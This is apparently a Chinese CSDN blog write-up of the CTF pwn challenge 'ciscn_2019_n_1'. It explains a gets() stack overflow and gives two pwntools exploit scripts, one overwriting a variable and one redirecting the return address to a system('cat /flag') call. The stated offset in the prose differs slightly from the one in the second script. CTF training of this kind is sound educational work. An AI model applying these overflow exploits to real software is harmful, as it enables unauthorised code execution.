ciscn_2019_n_1 ——两种解法

Mokapeng

已于 2022-07-13 13:46:26 修改

阅读量2.8k

点赞数 2

分类专栏： CTF训练 PWN 文章标签： PWN linux

于 2022-07-13 13:46:12 首次发布

本文链接：https://blog.csdn.net/qq_41696518/article/details/125761739

版权

CTF训练同时被 2 个专栏收录

46 篇文章 15 订阅

订阅专栏

PWN

37 篇文章 3 订阅

订阅专栏

本文解析了一道CISCN_2019_n_1竞赛题目，涉及地址覆盖和利用system函数绕过漏洞的方法。讲解了如何利用溢出覆盖变量v2的值并执行system('cat/flag')。关键步骤包括确定溢出长度和构造payload。

摘要由CSDN通过智能技术生成

ciscn_2019_n_1

题目分析

在这里插入图片描述
64位程序，栈不可执行，地址没有随机化
查看函数逻辑

main函数调用了func()，func中存在经典gets()漏洞，这题逻辑就是输入v1，但判断v2的值是否是11.28125

方法一：地址覆盖

既然题目判断v2的值，那么我们将v2的值覆盖成11.28125即可，首先我们要找到11.28125的16进制表达形式，因为我们构造payload的时不能传入一个float类型
可以直接使用ida查看
在这里插入图片描述
11.28125 = 0x41348000
那么只剩下该溢出多少这一个问题了

即溢出距离：0x30-0x4
exp1

from pwn import *
io = process("./ciscn_2019_n_1")
payload = b'A'*(0x30-0x4) + p64(0x41348000)
io.send(payload)
io.interactive()

方法2：利用system(“cat /flag”)

在这里插入图片描述

我们可以直接跳过判断，直接通过栈溢出让函数返回执行system(“cat /flag”)

因此我们构造的payload = 垃圾数据*(0x60-0x30+8) + addr_system(“cat /flag”)
exp2

from pwn import *
context.arch = 'amd64'
io = process("./ciscn_2019_n_1")
sys_addr = 0x4006BE
payload = b'A'*(0x30+8) + p64(sys_addr)
io.send(payload)
io.interactive()